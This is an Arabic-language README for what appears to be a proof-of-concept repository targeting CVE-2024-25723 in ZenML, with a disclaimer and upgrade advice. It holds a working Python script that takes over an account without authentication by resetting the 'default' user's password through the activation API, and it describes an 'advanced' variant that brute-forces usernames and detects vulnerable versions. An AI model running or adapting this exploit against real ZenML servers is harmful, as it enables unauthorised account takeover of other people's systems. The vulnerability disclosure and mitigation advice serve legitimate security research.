
إثبات مفهوم تعليمي لاستغلال ثغرة CVE-2024-25723، يُظهر استيلاء غير مصرح به على الحساب في ZenML عبر إعادة تعيين كلمة مرور API، مع كشف الإصدار وتعداد أسماء المستخدمين بالقوة العمياء.
هذا المستودع مخصص لمعالجة ثغرة CVE-2024-25723، وهي ثغرة أمنية خطيرة في ZenML، مع تقديم إثبات مفهوم تعليمي (PoC) لتوضيح المشكلة وتشجيع التخفيف الفوري. يوضح PoC كيف يمكن لمستخدم غير مصرح له استغلال الثغرة للاستيلاء على أي حسابات ZenML.
docker run -it -d -p 8080:8080 --name zenml zenmldocker/zenml-server:0.46.0
import requests
base_url = "http://localhost:8080"
user = "default"
new_password = "3gx9AbzP92rfHhZ"
activate_api_url = f"{base_url}/api/v1/users/{user}/activate"
activate_api_headers = {"Content-Type": "application/json"}
activate_api_json={"password": new_password}
activate_api_response = requests.put(activate_api_url, headers=activate_api_headers, json=activate_api_json)
print(activate_api_response.json())
الفرق بين PoC والاستغلال المتقدم هو أن الاستغلال المتقدم يقوم بهجوم القوة الغاشمة على أسماء المستخدمين الأكثر استخدامًا وهو قادر أيضًا على اكتشاف ما إذا كان الإصدار ضعيفًا أم لا عبر واجهة برمجة تطبيقات (API) تسرب إصدار ZenML. لاستخدام الاستغلال المتقدم، احفظ الكود التالي في ملف:
الأمر لتشغيل هذا الاستغلال هو:
python3 advanced-exploit-CVE-2024-25723.py https://example.com
جميع إصدارات ZenML التي تقل عن 0.46.7 ضعيفة، باستثناء إصدارات التصحيح التالية: (0.44.4, 0.43.1, 0.42.2).
قم بالترقية إلى أحدث إصدار (0.46.7 أو أعلى) أو أحد الإصدارات المصححة (0.44.4, 0.43.1, 0.42.2) للتخفيف من هذه المخاطرة.
الغرض من إثبات المفهوم (PoC) المقدم في هذا المستودع هو للأغراض التعليمية والبحث الأمني فقط. تهدف المعلومات والكود إلى أن يتم استخدامها من قبل متخصصي الأمن السيبراني والباحثين لفهم والحماية من الثغرات في البرامج والأنظمة. أي استخدام لهذا PoC أو المعلومات ذات الصلة أو الكود لمهاجمة أهداف دون موافقة مسبقة متبادلة هو غير قانوني وممنوع منعاً باتاً.
باستخدام هذا PoC، فإنك توافق على أنك تفهم التأثير المحتمل للثغرة التي يوضحها وأنك ستستخدمه بشكل مسؤول وأخلاقي. يخلي مؤلفو هذا PoC مسؤوليتهم عن أي إساءة استخدام لهذه المادة أو أي أضرار قد تحدث من استخدام المعلومات والكود المقدمين. تقع على عاتق المستخدم النهائي مسؤولية الالتزام بجميع القوانين المحلية والولائية والوطنية والدولية المعمول بها.
لقد بذل المؤلفون قصارى جهدهم لضمان دقة وموثوقية المعلومات المقدمة في هذا المستودع. ومع ذلك، يتم توفير المعلومات "كما هي" دون أي ضمان من أي نوع. لا يقبل المؤلفون أي مسؤولية أو التزام تجاه دقة أو محتوى أو اكتمال أو قانونية أو موثوقية المعلومات الواردة.